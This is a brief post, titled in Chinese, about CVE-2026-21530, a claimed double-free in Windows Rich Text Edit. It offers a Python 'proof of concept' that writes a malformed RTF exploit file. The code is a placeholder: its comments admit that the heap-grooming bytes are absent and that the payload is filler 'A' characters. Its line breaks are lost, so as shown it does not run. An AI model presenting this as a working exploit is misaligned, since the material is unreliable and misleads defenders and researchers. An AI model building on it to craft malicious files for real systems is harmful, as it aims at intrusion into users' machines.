CVE-2026-21530 Windows Rich Text Edit双重释放漏洞

import struct # Proof of Concept for CVE-2026-21530 # Generates a malformed RTF file to trigger the Double Free vulnerability def generate_payload(): # RTF Header rtf_header = b"{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033" # Malicious data block designed to manipulate heap layout # Specific bytes would require reverse engineering the target version malicious_block = b"\\viewkind4\\uc1\\pard\\f0\\fs20 " # Simulating the trigger sequence for Double Free # In a real exploit, this would contain specific heap grooming instructions trigger_sequence = b"A" * 500 rtf_footer = b"\\par }" full_payload = rtf_header + malicious_block + trigger_sequence + rtf_footer with open("exploit_cve_2026_21530.rtf", "wb") as f: f.write(full_payload) if __name__ == "__main__": generate_payload()